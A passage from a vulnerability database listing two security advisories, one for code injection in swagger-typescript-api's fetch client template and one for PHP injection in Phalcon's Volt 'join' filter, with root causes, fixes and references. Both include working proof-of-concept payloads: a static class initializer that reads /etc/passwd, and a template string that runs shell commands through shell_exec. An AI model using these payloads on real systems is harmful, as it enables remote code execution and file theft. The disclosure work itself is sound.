}\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body \u2014 payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"https://api.example.com\";\n  static _pwn = (async () =\u003e {\n    try {\n      const fs = await import(\"node:fs\");\n      const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n      fs.writeFileSync(\"/tmp/sta_canary\", data);\n    } catch (e) {}\n  })();\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import(\u0027./out/Api.bundle.mjs\u0027)` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** \u2014 the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-hqj5-cw9f-rx67",
  "modified": "2026-07-29T14:26:38Z",
  "published": "2026-07-29T14:26:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template"
}

GHSA-HRWP-4HH9-C8R8

Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-27 16:33
VLAI
Summary
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Details

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join('' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

image

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.15.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phalcon/cphalcon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:55:56Z",
    "nvd_published_at": "2026-08-21T21:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
  "id": "GHSA-hrwp-4hh9-c8r8",
  "modified": "2026-08-27T16:33:43Z",
  "published": "2026-08-21T20:55:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/pull/17217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phalcon/cphalcon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.